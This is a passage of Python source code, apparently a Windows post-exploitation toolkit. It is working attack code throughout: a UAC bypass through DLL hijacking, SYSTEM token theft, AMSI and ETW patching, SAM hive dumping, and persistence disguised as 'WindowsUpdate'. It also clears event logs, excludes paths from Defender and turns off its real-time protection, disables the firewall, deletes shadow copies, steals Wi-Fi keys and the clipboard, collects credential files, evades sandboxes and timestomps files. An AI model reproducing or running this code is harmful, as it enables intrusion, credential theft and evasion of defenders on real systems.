        with open(meta_path, 'w', encoding='utf-8') as f:
            f.write('<?xml version="1.0" encoding="UTF-8"?>\n')
            f.write('<WERReportMetadata><ProblemSignatures>')
            f.write('<EventType>APPCRASH</EventType>')
            f.write('</ProblemSignatures></WERReportMetadata>\n')

        print(f"[+] wer: staged at {report_dir}")
        return report_dir

    def wer_fire(self):
        r = subprocess.run(
            ["schtasks", "/run", "/tn",
             r"\Microsoft\Windows\Windows Error Reporting\QueueReporting"],
            capture_output=True, text=True)
        if r.returncode == 0:
            print("[+] wer: QueueReporting triggered")
        else:
            print(f"[-] wer: trigger failed ({r.stderr.strip()})")

    def wnf_trigger(self, state=WNF_RECONCILE_FEATURES):
        sn = ctypes.c_uint64(state)
        data = ctypes.c_byte(1)
        status = ntdll.NtUpdateWnfStateData(
            ctypes.byref(sn), ctypes.byref(data), 1,
            None, None, 0, 0)
        if status == 0:
            print(f"[+] wnf: triggered (0x{state:016X})")
        else:
            print(f"[-] wnf: failed (NTSTATUS 0x{status & 0xFFFFFFFF:08X})")
        return status == 0

    def _svc_pids(self, *names):
        name_list = ",".join(f"'{n}'" for n in names)
        r = subprocess.run(
            ["powershell", "-NoProfile", "-c",
             f"Get-CimInstance Win32_Service | "
             f"Where-Object {{ $_.Name -in {name_list} }} | "
             f"Select-Object Name, ProcessId | "
             f"ForEach-Object {{ \"$($_.Name)=$($_.ProcessId)\" }}"],
            capture_output=True, text=True, timeout=10)
        result = {}
        for line in r.stdout.strip().splitlines():
            if '=' in line:
                name, pid = line.split('=', 1)
                try:
                    result[name.strip()] = int(pid.strip())
                except ValueError:
                    pass
        return result

    def elevate(self, command=None):
        CopyFileW = k32.CopyFileW
        CopyFileW.argtypes = [ctypes.c_wchar_p, ctypes.c_wchar_p, wt.BOOL]
        CopyFileW.restype = wt.BOOL
        CreateDirectoryW = k32.CreateDirectoryW
        CreateDirectoryW.argtypes = [ctypes.c_wchar_p, ctypes.c_void_p]
        CreateDirectoryW.restype = wt.BOOL
        DeleteFileW = k32.DeleteFileW
        DeleteFileW.argtypes = [ctypes.c_wchar_p]
        DeleteFileW.restype = wt.BOOL
        RemoveDirectoryW = k32.RemoveDirectoryW
        RemoveDirectoryW.argtypes = [ctypes.c_wchar_p]
        RemoveDirectoryW.restype = wt.BOOL

        mock_win = "\\\\?\\C:\\Windows "
        mock_sys = "\\\\?\\C:\\Windows \\System32"
        mock_exe = "\\\\?\\C:\\Windows \\System32\\easinvoker.exe"
        mock_dll = "\\\\?\\C:\\Windows \\System32\\netutils.dll"

        cmd_file = os.path.join(os.environ["TEMP"], "nf_elevate.cmd")
        if command is None:
            script = os.path.abspath(__file__)
            command = f'python "{script}" interactive'
        with open(cmd_file, "w") as f:
            f.write(command)

        CreateDirectoryW(mock_win, None)
        CreateDirectoryW(mock_sys, None)

        src_exe = "C:\\Windows\\System32\\easinvoker.exe"
        if not CopyFileW(src_exe, mock_exe, False):
            print("[-] failed to copy easinvoker.exe")
            return False

        dll_src = os.path.join(os.path.dirname(os.path.abspath(__file__)),
                               "uac_poc", "target", "release", "netutils.dll")
        if not os.path.exists(dll_src):
            print(f"[-] netutils.dll not found at {dll_src}")
            print("[*] build it: cargo build --release in uac_poc/")
            return False

        if not CopyFileW(dll_src, mock_dll, False):
            print("[-] failed to copy netutils.dll")
            return False

        print("[*] mock directory staged")
        print(f"[*] launching elevated: {command}")

        launcher = "C:\\Windows \\System32\\easinvoker.exe"
        proc = subprocess.Popen(
            [launcher],
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
        )
        proc.wait(timeout=10)
        print(f"[+] easinvoker exited ({proc.returncode}), DLL executed at High IL")

        DeleteFileW(mock_exe)
        DeleteFileW(mock_dll)
        RemoveDirectoryW(mock_sys)
        RemoveDirectoryW(mock_win)
        print("[+] mock directory cleaned up")
        return True

    def _self_elevated(self, nf_cmd):
        script = os.path.abspath(__file__)
        return self.elevate(f'python "{script}" {nf_cmd}')

    def _enable_privilege(self, name):
        token = wt.HANDLE()
        adv.OpenProcessToken(
            k32.GetCurrentProcess(), TOKEN_ALL_ACCESS, ctypes.byref(token))
        luid = ctypes.c_int64()
        adv.LookupPrivilegeValueW(None, name, ctypes.byref(luid))
        tp = (ctypes.c_byte * 16)()
        struct.pack_into('<IQI', tp, 0, 1, luid.value, SE_PRIVILEGE_ENABLED)
        adv.AdjustTokenPrivileges(token, False, tp, 16, None, None)
        k32.CloseHandle(token)

    def system(self, command=None):
        self._enable_privilege("SeDebugPrivilege")
        target_pid = None
        r = subprocess.run(
            ["powershell", "-NoProfile", "-c",
             "(Get-Process winlogon)[0].Id"],
            capture_output=True, text=True, timeout=5)
        try:
            target_pid = int(r.stdout.strip())
        except (ValueError, IndexError):
            pass
        if not target_pid:
            print("[-] system: can't find winlogon.exe")
            return False

        hproc = k32.OpenProcess(PROCESS_QUERY_INFORMATION, False, target_pid)
        if not hproc:
            print(f"[-] system: OpenProcess failed ({k32.GetLastError()})")
            return False

        htoken = wt.HANDLE()
        if not adv.OpenProcessToken(hproc, TOKEN_DUPLICATE | TOKEN_QUERY, ctypes.byref(htoken)):
            print(f"[-] system: OpenProcessToken failed ({k32.GetLastError()})")
            k32.CloseHandle(hproc)
            return False

        hdup = wt.HANDLE()
        if not adv.DuplicateTokenEx(
                htoken, TOKEN_ALL_ACCESS, None,
                SECURITY_IMPERSONATION, TOKEN_PRIMARY, ctypes.byref(hdup)):
            print(f"[-] system: DuplicateTokenEx failed ({k32.GetLastError()})")
            k32.CloseHandle(htoken)
            k32.CloseHandle(hproc)
            return False

        if command is None:
            command = "cmd.exe"
        cmd_buf = ctypes.create_unicode_buffer(command)

        class STARTUPINFO(ctypes.Structure):
            _fields_ = [
                ("cb", wt.DWORD), ("lpReserved", ctypes.c_wchar_p),
                ("lpDesktop", ctypes.c_wchar_p), ("lpTitle", ctypes.c_wchar_p),
                ("dwX", wt.DWORD), ("dwY", wt.DWORD),
                ("dwXSize", wt.DWORD), ("dwYSize", wt.DWORD),
                ("dwXCountChars", wt.DWORD), ("dwYCountChars", wt.DWORD),
                ("dwFillAttribute", wt.DWORD), ("dwFlags", wt.DWORD),
                ("wShowWindow", wt.WORD), ("cbReserved2", wt.WORD),
                ("lpReserved2", ctypes.c_void_p), ("hStdInput", wt.HANDLE),
                ("hStdOutput", wt.HANDLE), ("hStdError", wt.HANDLE),
            ]

        class PROCESS_INFORMATION(ctypes.Structure):
            _fields_ = [
                ("hProcess", wt.HANDLE), ("hThread", wt.HANDLE),
                ("dwProcessId", wt.DWORD), ("dwThreadId", wt.DWORD),
            ]

        si = STARTUPINFO()
        si.cb = ctypes.sizeof(si)
        si.lpDesktop = "WinSta0\\Default"
        pi = PROCESS_INFORMATION()

        ok = adv.CreateProcessWithTokenW(
            hdup, LOGON_WITH_PROFILE, None, cmd_buf,
            0x00000010, None, None, ctypes.byref(si), ctypes.byref(pi))

        if ok:
            print(f"[+] system: spawned PID {pi.dwProcessId} as NT AUTHORITY\\SYSTEM")
            k32.CloseHandle(pi.hProcess)
            k32.CloseHandle(pi.hThread)
        else:
            print(f"[-] system: CreateProcessWithTokenW failed ({k32.GetLastError()})")

        k32.CloseHandle(hdup)
        k32.CloseHandle(htoken)
        k32.CloseHandle(hproc)
        return bool(ok)

    def amsi_bypass(self):
        try:
            amsi = ctypes.windll.LoadLibrary("amsi.dll")
        except OSError:
            print("[-] amsi: dll not loaded in this process")
            return False

        addr = k32.GetProcAddress(k32.GetModuleHandleW("amsi.dll"), b"AmsiScanBuffer")
        if not addr:
            print("[-] amsi: AmsiScanBuffer not found")
            return False

        patch = (ctypes.c_byte * 6)(0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
        old = wt.DWORD()
        if not k32.VirtualProtect(addr, 6, PAGE_READWRITE, ctypes.byref(old)):
            print(f"[-] amsi: VirtualProtect failed ({k32.GetLastError()})")
            return False

        ctypes.memmove(addr, patch, 6)
        k32.VirtualProtect(addr, 6, old.value, ctypes.byref(old))
        print("[+] amsi: AmsiScanBuffer patched (returns E_INVALIDARG 0x80070057)")
        return True

    def etw_blind(self):
        addr = k32.GetProcAddress(k32.GetModuleHandleW("ntdll.dll"), b"EtwEventWrite")
        if not addr:
            print("[-] etw-blind: EtwEventWrite not found")
            return False

        patch = (ctypes.c_byte * 2)(0xC3, 0x00)
        old = wt.DWORD()
        if not k32.VirtualProtect(addr, 2, PAGE_READWRITE, ctypes.byref(old)):
            print(f"[-] etw-blind: VirtualProtect failed ({k32.GetLastError()})")
            return False

        ctypes.memmove(addr, patch, 2)
        k32.VirtualProtect(addr, 2, old.value, ctypes.byref(old))
        print("[+] etw-blind: EtwEventWrite patched (ret 0)")
        print("    ETW events from this process suppressed (in-proc patch only)")
        return True

    def sam_dump(self, out_dir=None):
        self._enable_privilege("SeBackupPrivilege")
        if out_dir is None:
            out_dir = os.path.join(os.environ["TEMP"], "nf_dump")
        os.makedirs(out_dir, exist_ok=True)

        hives = {
            "SAM": r"SAM",
            "SECURITY": r"SECURITY",
            "SYSTEM": r"SYSTEM",
        }
        dumped = []
        for name, subkey in hives.items():
            hkey = wt.HANDLE()
            status = adv.RegOpenKeyExW(
                HKEY_LOCAL_MACHINE, subkey, 0, KEY_READ, ctypes.byref(hkey))
            if status != 0:
                print(f"[-] sam: RegOpenKeyEx {name} failed ({status})")
                continue
            path = os.path.join(out_dir, name)
            if os.path.exists(path):
                os.remove(path)
            status = adv.RegSaveKeyW(hkey, path, None)
            adv.RegCloseKey(hkey)
            if status == 0:
                sz = os.path.getsize(path)
                print(f"[+] sam: {name} -> {path} ({sz} bytes)")
                dumped.append(path)
            else:
                print(f"[-] sam: RegSaveKey {name} failed ({status})")

        if dumped:
            print(f"[+] sam: {len(dumped)} hives dumped to {out_dir}")
            print("    extract with: impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL")
        return dumped

    def persist_runkey(self, name="WindowsUpdate", command=None):
        if command is None:
            script = os.path.abspath(__file__)
            command = f'pythonw "{script}" panopticon'
        hkey = wt.HANDLE()
        status = adv.RegOpenKeyExW(
            HKEY_CURRENT_USER,
            r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
            0, KEY_WRITE, ctypes.byref(hkey))
        if status != 0:
            print(f"[-] persist: RegOpenKeyEx failed ({status})")
            return False
        val = ctypes.create_unicode_buffer(command)
        status = adv.RegSetValueExW(
            hkey, name, 0, REG_SZ,
            val, (len(command) + 1) * 2)
        adv.RegCloseKey(hkey)
        if status == 0:
            print(f"[+] persist: Run key set: {name} -> {command}")
            self._track("persist", f"Run key: {name}",
                        lambda n=name: self.persist_remove(n))
            return True
        print(f"[-] persist: RegSetValueEx failed ({status})")
        return False

    def persist_remove(self, name="WindowsUpdate"):
        hkey = wt.HANDLE()
        status = adv.RegOpenKeyExW(
            HKEY_CURRENT_USER,
            r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
            0, KEY_WRITE, ctypes.byref(hkey))
        if status != 0:
            return False
        status = adv.RegDeleteValueW(hkey, name)
        adv.RegCloseKey(hkey)
        if status == 0:
            print(f"[+] persist: Run key removed: {name}")
        return status == 0

    def persist_task(self, name="WindowsUpdateCheck", command=None):
        if command is None:
            script = os.path.abspath(__file__)
            command = f'pythonw "{script}" panopticon'
        r = subprocess.run(
            ["schtasks", "/create", "/tn", name, "/tr", command,
             "/sc", "ONLOGON", "/rl", "HIGHEST", "/f"],
            capture_output=True, text=True, timeout=10)
        if r.returncode == 0:
            print(f"[+] persist: scheduled task created: {name}")
            self._track("persist", f"schtask: {name}",
                        lambda n=name: self.persist_task_remove(n))
            return True
        print(f"[-] persist: schtasks failed: {r.stderr.strip()}")
        return False

    def persist_task_remove(self, name="WindowsUpdateCheck"):
        r = subprocess.run(
            ["schtasks", "/delete", "/tn", name, "/f"],
            capture_output=True, text=True, timeout=10)
        if r.returncode == 0:
            print(f"[+] persist: scheduled task removed: {name}")
        return r.returncode == 0

    def env_recon(self):
        print("\n=== ENVIRONMENT RECON ===")
        checks = [
            ("hostname", ["hostname"]),
            ("whoami", ["whoami"]),
            ("privileges", ["whoami", "/priv"]),
            ("domain", ["wmic", "computersystem", "get", "domain"]),
            ("av products", ["powershell", "-NoProfile", "-c",
                "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct "
                "| Select-Object displayName,productState | Format-Table -AutoSize"]),
            ("network", ["ipconfig", "/all"]),
            ("arp table", ["arp", "-a"]),
            ("listening ports", ["netstat", "-ano", "-p", "TCP"]),
            ("local admins", ["net", "localgroup", "Administrators"]),
        ]
        for label, cmd in checks:
            try:
                r = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
                out = r.stdout.strip()
                if out:
                    print(f"\n--- {label} ---")
                    for line in out.splitlines()[:20]:
                        print(f"  {line}")
            except Exception:
                pass

    def evtlog_clear(self):
        logs = ["Security", "System", "Application",
                "Windows PowerShell"]
        cleared = 0
        for log in logs:
            h = adv.OpenEventLogW(None, log)
            if h:
                if adv.ClearEventLogW(h, None):
                    print(f"[+] evtlog: cleared {log}")
                    cleared += 1
                else:
                    print(f"[-] evtlog: {log} failed ({k32.GetLastError()})")
                adv.CloseEventLog(h)
            else:
                print(f"[-] evtlog: can't open {log}")
        analytic = ["Microsoft-Windows-PowerShell/Operational",
                     "Microsoft-Windows-Sysmon/Operational"]
        for log in analytic:
            try:
                wevt = ctypes.windll.wevtapi
                h = wevt.EvtOpenChannelConfig(None, log, 0)
                if h:
                    wevt.EvtClearLog(None, log, None, 0)
                    wevt.EvtClose(h)
                    print(f"[+] evtlog: cleared {log}")
                    cleared += 1
            except Exception:
                print(f"[-] evtlog: {log} failed")
        print(f"[+] evtlog: {cleared} logs cleared")
        return cleared

    def defender_exclude(self, path=None, process=None):
        if path:
            r = subprocess.run(
                ["powershell", "-NoProfile", "-c",
                 f'Add-MpPreference -ExclusionPath "{path}"'],
                capture_output=True, text=True, timeout=10)
            if r.returncode == 0:
                print(f"[+] defender: path exclusion added: {path}")
                self._track("defender", f"exclusion path: {path}",
                            lambda p=path: subprocess.run(
                                ["powershell", "-NoProfile", "-c",
                                 f'Remove-MpPreference -ExclusionPath "{p}"'],
                                capture_output=True, timeout=10))
            else:
                print(f"[-] defender: {r.stderr.strip()}")
                return False
        if process:
            r = subprocess.run(
                ["powershell", "-NoProfile", "-c",
                 f'Add-MpPreference -ExclusionProcess "{process}"'],
                capture_output=True, text=True, timeout=10)
            if r.returncode == 0:
                print(f"[+] defender: process exclusion added: {process}")
                self._track("defender", f"exclusion process: {process}",
                            lambda pr=process: subprocess.run(
                                ["powershell", "-NoProfile", "-c",
                                 f'Remove-MpPreference -ExclusionProcess "{pr}"'],
                                capture_output=True, timeout=10))
            else:
                print(f"[-] defender: {r.stderr.strip()}")
                return False
        if not path and not process:
            script = os.path.abspath(__file__)
            self.defender_exclude(path=os.path.dirname(script))
            self.defender_exclude(process="python.exe")
            self.defender_exclude(process="pythonw.exe")
        return True

    def defender_status(self):
        r = subprocess.run(
            ["powershell", "-NoProfile", "-c",
             "Get-MpPreference | Select-Object "
             "ExclusionPath,ExclusionProcess,ExclusionExtension,"
             "DisableRealtimeMonitoring,DisableBehaviorMonitoring,"
             "DisableIOAVProtection,DisableScriptScanning "
             "| Format-List"],
            capture_output=True, text=True, timeout=10)
        print("[*] defender config:")
        for line in r.stdout.strip().splitlines():
            if line.strip():
                print(f"  {line.strip()}")

    def defender_disable_rtp(self):
        was_enabled = None
        try:
            q = subprocess.run(
                ["powershell", "-NoProfile", "-c",
                 "(Get-MpPreference).DisableRealtimeMonitoring"],
                capture_output=True, text=True, timeout=10)
            if q.returncode == 0 and q.stdout.strip().lower() in ("true", "false"):
                was_enabled = q.stdout.strip().lower() != "true"
        except Exception:
            pass

        r = subprocess.run(
            ["powershell", "-NoProfile", "-c",
             "Set-MpPreference -DisableRealtimeMonitoring $true"],
            capture_output=True, text=True, timeout=10)
        if r.returncode == 0:
            print("[+] defender: real-time protection disabled")
            if was_enabled is None:
                restore_val = "$false"
            else:
                restore_val = "$false" if was_enabled else "$true"
            self._track("defender", "RTP disabled",
                        lambda rv=restore_val: subprocess.run(
                            ["powershell", "-NoProfile", "-c",
                             f"Set-MpPreference -DisableRealtimeMonitoring {rv}"],
                            capture_output=True, timeout=10))
            return True
        print(f"[-] defender: {r.stderr.strip()}")
        return False

    def firewall_allow(self, name="WindowsUpdate", port=None, program=None):
        if port:
            cmd = (f'netsh advfirewall firewall add rule name="{name}" '
                   f'dir=in action=allow protocol=TCP localport={port}')
        elif program:
            cmd = (f'netsh advfirewall firewall add rule name="{name}" '
                   f'dir=in action=allow program="{program}"')
        else:
            print("[-] firewall: specify --port or --program")
            return False
        r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10)
        if r.returncode == 0:
            print(f"[+] firewall: rule added: {name}")
            self._track("firewall", f"rule: {name}",
                        lambda n=name: self.firewall_remove(n))
            return True
        print(f"[-] firewall: {r.stderr.strip()}")
        return False

    def firewall_remove(self, name="WindowsUpdate"):
        r = subprocess.run(
            f'netsh advfirewall firewall delete rule name="{name}"',
            shell=True, capture_output=True, text=True, timeout=10)
        if r.returncode == 0:
            print(f"[+] firewall: rule removed: {name}")
        return r.returncode == 0

    def firewall_disable(self):
        reg_map = {
            "domainprofile": r"SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile",
            "privateprofile": r"SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile",
            "publicprofile": r"SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile",
        }
        profile_states = {}
        for profile, reg_path in reg_map.items():
            val = self._reg_read(HKLM, reg_path, "EnableFirewall")
            if val is not None:
                profile_states[profile] = val == 1
            else:
                profile_states[profile] = True

        r = subprocess.run(
            "netsh advfirewall set allprofiles state off",
            shell=True, capture_output=True, text=True, timeout=10)
        if r.returncode == 0:
            print("[+] firewall: all profiles disabled")
            def _restore_fw(states=profile_states):
                for profile, was_on in states.items():
                    state = "on" if was_on else "off"
                    subprocess.run(
                        f"netsh advfirewall set {profile} state {state}",
                        shell=True, capture_output=True, text=True, timeout=10)
            self._track("firewall", "all profiles disabled", _restore_fw)
            return True
        print(f"[-] firewall: {r.stderr.strip()}")
        return False

    def firewall_enable(self):
        r = subprocess.run(
            "netsh advfirewall set allprofiles state on",
            shell=True, capture_output=True, text=True, timeout=10)
        if r.returncode == 0:
            print("[+] firewall: all profiles enabled")
        return r.returncode == 0

    def net_discover(self):
        print("\n=== NETWORK DISCOVERY ===")
        checks = [
            ("shares", ["net", "share"]),
            ("sessions", ["net", "session"]),
            ("users", ["net", "user"]),
            ("logon sessions", ["powershell", "-NoProfile", "-c",
                "query user 2>$null; if($?) {} else { qwinsta 2>$null }"]),
            ("dns cache", ["ipconfig", "/displaydns"]),
            ("wifi profiles", ["netsh", "wlan", "show", "profiles"]),
            ("routing table", ["route", "print"]),
        ]
        for label, cmd in checks:
            try:
                r = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
                out = r.stdout.strip()
                if out:
                    print(f"\n--- {label} ---")
                    for line in out.splitlines()[:25]:
                        print(f"  {line}")
            except Exception:
                pass

    def shadow_delete(self):
        r = subprocess.run(
            ["powershell", "-NoProfile", "-c",
             "Get-CimInstance Win32_ShadowCopy | "
             "ForEach-Object { $_.Delete() }"],
            capture_output=True, text=True, timeout=30)
        if r.returncode == 0:
            print("[+] shadow: all shadow copies deleted")
        else:
            r2 = subprocess.run(
                "vssadmin delete shadows /all /quiet",
                shell=True, capture_output=True, text=True, timeout=30)
            if r2.returncode == 0:
                print("[+] shadow: all shadow copies deleted (vssadmin)")
            else:
                print(f"[-] shadow: deletion failed")
        return True

    def wifi_creds(self):
        print("\n=== WIFI CREDENTIALS ===")
        r = subprocess.run(
            ["netsh", "wlan", "show", "profiles"],
            capture_output=True, text=True, timeout=10)
        profiles = []
        for line in r.stdout.splitlines():
            if "All User Profile" in line or "Profiel voor alle" in line:
                name = line.split(":")[-1].strip()
                if name:
                    profiles.append(name)
        for name in profiles:
            r = subprocess.run(
                ["netsh", "wlan", "show", "profile", name, "key=clear"],
                capture_output=True, text=True, timeout=10)
            key = ""
            for line in r.stdout.splitlines():
                low = line.lower()
                if "key content" in low or "sleutelinhoud" in low:
                    key = line.split(":")[-1].strip()
                    break
            if key:
                print(f"  {name}: {key}")
            else:
                print(f"  {name}: (no key)")

    def screenshot(self, out_path=None):
        try:
            u32 = ctypes.windll.user32
            gdi = ctypes.windll.gdi32
            w = u32.GetSystemMetrics(0)
            h = u32.GetSystemMetrics(1)
            hdc_screen = u32.GetDC(0)
            hdc_mem = gdi.CreateCompatibleDC(hdc_screen)
            hbm = gdi.CreateCompatibleBitmap(hdc_screen, w, h)
            gdi.SelectObject(hdc_mem, hbm)
            gdi.BitBlt(hdc_mem, 0, 0, w, h, hdc_screen, 0, 0, 0x00CC0020)

            class BITMAPINFOHEADER(ctypes.Structure):
                _fields_ = [
                    ("biSize", wt.DWORD), ("biWidth", wt.LONG),
                    ("biHeight", wt.LONG), ("biPlanes", wt.WORD),
                    ("biBitCount", wt.WORD), ("biCompression", wt.DWORD),
                    ("biSizeImage", wt.DWORD), ("biXPelsPerMeter", wt.LONG),
                    ("biYPelsPerMeter", wt.LONG), ("biClrUsed", wt.DWORD),
                    ("biClrImportant", wt.DWORD),
                ]

            bmi = BITMAPINFOHEADER()
            bmi.biSize = ctypes.sizeof(bmi)
            bmi.biWidth = w
            bmi.biHeight = -h
            bmi.biPlanes = 1
            bmi.biBitCount = 24
            bmi.biCompression = 0
            row_size = ((w * 3 + 3) & ~3)
            bmi.biSizeImage = row_size * h

            buf = (ctypes.c_byte * bmi.biSizeImage)()
            gdi.GetDIBits(hdc_mem, hbm, 0, h, buf, ctypes.byref(bmi), 0)

            if out_path is None:
                ts = time.strftime("%Y%m%d_%H%M%S")
                out_path = os.path.join(os.environ["TEMP"], f"nf_ss_{ts}.bmp")

            with open(out_path, 'wb') as f:
                file_size = 54 + bmi.biSizeImage
                f.write(b'BM')
                f.write(struct.pack('<I', file_size))
                f.write(struct.pack('<HH', 0, 0))
                f.write(struct.pack('<I', 54))
                f.write(bytes(ctypes.string_at(ctypes.byref(bmi), 40)))
                f.write(bytes(buf))

            gdi.DeleteObject(hbm)
            gdi.DeleteDC(hdc_mem)
            u32.ReleaseDC(0, hdc_screen)
            print(f"[+] screenshot: {out_path} ({w}x{h})")
            return out_path
        except Exception as e:
            print(f"[-] screenshot: {e}")
            return None

    def clipboard_get(self):
        u32 = ctypes.windll.user32
        u32.OpenClipboard(0)
        h = u32.GetClipboardData(13)
        if h:
            k32.GlobalLock.restype = ctypes.c_wchar_p
            data = k32.GlobalLock(h)
            result = str(data) if data else ""
            k32.GlobalUnlock(h)
            u32.CloseClipboard()
            if result:
                print(f"[+] clipboard: {result[:500]}")
            else:
                print("[-] clipboard: empty")
            return result
        u32.CloseClipboard()
        print("[-] clipboard: no text data")
        return ""

    def clipboard_monitor(self, interval=3):
        last = ""
        print("[*] clipboard: monitoring (ctrl-c to stop)")
        while True:
            try:
                u32 = ctypes.windll.user32
                u32.OpenClipboard(0)
                h = u32.GetClipboardData(13)
                current = ""
                if h:
                    k32.GlobalLock.restype = ctypes.c_wchar_p
                    data = k32.GlobalLock(h)
                    current = str(data) if data else ""
                    k32.GlobalUnlock(h)
                u32.CloseClipboard()
                if current and current != last:
                    ts = time.strftime("%H:%M:%S")
                    print(f"  [{ts}] clipboard: {current[:300]}")
                    last = current
                time.sleep(interval)
            except KeyboardInterrupt:
                break
            except Exception:
                time.sleep(interval)

    def file_search(self, root=None, patterns=None, max_size=10*1024*1024):
        if root is None:
            root = os.path.expanduser("~")
        if patterns is None:
            patterns = [
                "*.kdbx", "*.key", "*.pem", "*.pfx", "*.p12",
                "*.ppk", "*.rdp", "*.vnc", "*.ovpn",
                "id_rsa", "id_ed25519", "*.pub",
                "*.conf", "*.config", "*.ini", "*.env",
                "credentials*", "password*", "secret*",
                "*.sql", "*.bak", "*.dump",
                "web.config", "appsettings.json",
                "wp-config.php", ".htpasswd",
            ]
        print(f"[*] file search: {root}")
        found = []
        for pat in patterns:
            for path in fglob(os.path.join(root, "**", pat), recursive=True):
                try:
                    sz = os.path.getsize(path)
                    if sz <= max_size:
                        found.append((path, sz))
                        print(f"  {path} ({sz} bytes)")
                except (OSError, PermissionError):
                    pass
        print(f"[+] file search: {len(found)} interesting files")
        return found

    def file_collect(self, paths, out_dir=None):
        if out_dir is None:
            out_dir = os.path.join(os.environ["TEMP"], "nf_loot")
        os.makedirs(out_dir, exist_ok=True)
        collected = 0
        for src in paths:
            if isinstance(src, tuple):
                src = src[0]
            try:
                dst = os.path.join(out_dir, os.path.basename(src))
                base, ext = os.path.splitext(dst)
                i = 1
                while os.path.exists(dst):
                    dst = f"{base}_{i}{ext}"
                    i += 1
                with open(src, 'rb') as f_in:
                    with open(dst, 'wb') as f_out:
                        f_out.write(f_in.read())
                collected += 1
            except (OSError, PermissionError):
                pass
        print(f"[+] collected {collected} files to {out_dir}")
        return out_dir

    def anti_debug(self):
        if k32.IsDebuggerPresent():
            return True
        remote = wt.BOOL()
        k32.CheckRemoteDebuggerPresent(k32.GetCurrentProcess(), ctypes.byref(remote))
        if remote.value:
            return True
        debug_port = ctypes.c_void_p()
        status = ntdll.NtQueryInformationProcess(
            k32.GetCurrentProcess(), 7,
            ctypes.byref(debug_port), ctypes.sizeof(debug_port), None)
        if status == 0 and debug_port.value:
            return True
        return False

    def anti_vm(self):
        reasons = []
        try:
            cpu = os.cpu_count() or 1
            if cpu < 2:
                reasons.append("low cpu count")
        except Exception:
            pass

        mem = MEMSTATEX()
        mem.dwLength = ctypes.sizeof(mem)
        k32.GlobalMemoryStatusEx(ctypes.byref(mem))
        if mem.ullTotalPhys < 2 * 1024 * 1024 * 1024:
            reasons.append("low ram")

        uptime_min = k32.GetTickCount64() / 1000 / 60
        if uptime_min < 20:
            reasons.append(f"short uptime ({int(uptime_min)}m)")

        vm_procs = ["vmtoolsd", "vboxservice", "vboxtray", "vmwaretray",
                     "vmwareuser", "xenservice", "qemu-ga", "prl_tools"]
        try:
            r = subprocess.run(
                ["powershell", "-NoProfile", "-NonInteractive", "-c",
                 "Get-Process | Select-Object -ExpandProperty Name"],
                capture_output=True, text=True, timeout=5)
            procs_low = r.stdout.lower()
            for vp in vm_procs:
                if vp in procs_low:
                    reasons.append(f"vm process: {vp}")
        except Exception:
            pass

        vm_keys = [
            (HKEY_LOCAL_MACHINE, r"SOFTWARE\VMware, Inc.\VMware Tools"),
            (HKEY_LOCAL_MACHINE, r"SOFTWARE\Oracle\VirtualBox Guest Additions"),
            (HKEY_LOCAL_MACHINE, r"SYSTEM\CurrentControlSet\Services\VBoxGuest"),
            (HKEY_LOCAL_MACHINE, r"SYSTEM\CurrentControlSet\Services\vmci"),
        ]
        for root, key in vm_keys:
            hk = wt.HANDLE()
            if adv.RegOpenKeyExW(root, key, 0, KEY_READ, ctypes.byref(hk)) == 0:
                adv.RegCloseKey(hk)
                reasons.append(f"vm reg: {key.split(chr(92))[-1]}")

        try:
            total = ctypes.c_uint64()
            k32.GetDiskFreeSpaceExW("C:\\", None, ctypes.byref(total), None)
            gb = total.value / (1024 ** 3)
            if gb < 60:
                reasons.append(f"small disk ({int(gb)}GB)")
        except Exception:
            pass

        if reasons:
            print(f"[!] vm/sandbox indicators: {', '.join(reasons)}")
            return True
        print("[+] anti-vm: clean")
        return False

    def _secure_delete(self, path, passes=3):
        try:
            sz = os.path.getsize(path)
            for _ in range(passes):
                with open(path, 'wb') as f:
                    f.write(os.urandom(sz))
            rnd = os.path.join(os.path.dirname(path), f"{os.urandom(8).hex()}.tmp")
            os.rename(path, rnd)
            os.remove(rnd)
        except (OSError, PermissionError):
            try:
                os.remove(path)
            except OSError:
                pass

    def timestomp(self, path, ref=None):
        if ref is None:
            ref = r"C:\Windows\System32\svchost.exe"
        ref_h = k32.CreateFileW(ref, GENERIC_READ, FILE_SHARE_READ,
                                None, OPEN_EXISTING, 0, None)
        if ref_h == INVALID_HANDLE:
            return False
        ct = FILETIME()
        at = FILETIME()
        mt = FILETIME()
        k32.GetFileTime(ref_h, ctypes.byref(ct), ctypes.byref(at), ctypes.byref(mt))
        k32.CloseHandle(ref_h)
        tgt_h = k32.CreateFileW(path, GENERIC_WRITE, FILE_SHARE_READ,
                                None, OPEN_EXISTING, 0, None)
        if tgt_h == INVALID_HANDLE:
            return False
        k32.SetFileTime(tgt_h, ctypes.byref(ct), ctypes.byref(at), ctypes.byref(mt))
        k32.CloseHandle(tgt_h)
        print(f"[+] timestomp: {path} -> {ref}")
        return True

    def ps_log_bypass(self):
        keys = [
            (r"SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging",
             [("EnableScriptBlockLogging", 0), ("EnableScriptBlockInvocationLogging", 0)]),
            (r"SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging",
             [("EnableModuleLogging", 0)]),
            (r"SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription",
             [("EnableTranscripting", 0), ("EnableInvocationHeader", 0)]),
        ]

        snapshots = []
        for subkey, values in keys:
            for name, _ in values:
                prev = self._reg_read(HKEY_LOCAL_MACHINE, subkey, name)
                snapshots.append((subkey, name, prev))

        ok = 0
        for subkey, values in keys:
            hkey = wt.HANDLE()
            disp = wt.DWORD()
            status = adv.RegCreateKeyExW(
                HKEY_LOCAL_MACHINE, subkey, 0, None, 0, KEY_WRITE,
                None, ctypes.byref(hkey), ctypes.byref(disp))
            if status != 0:
                continue
            for name, val in values:
                v = wt.DWORD(val)
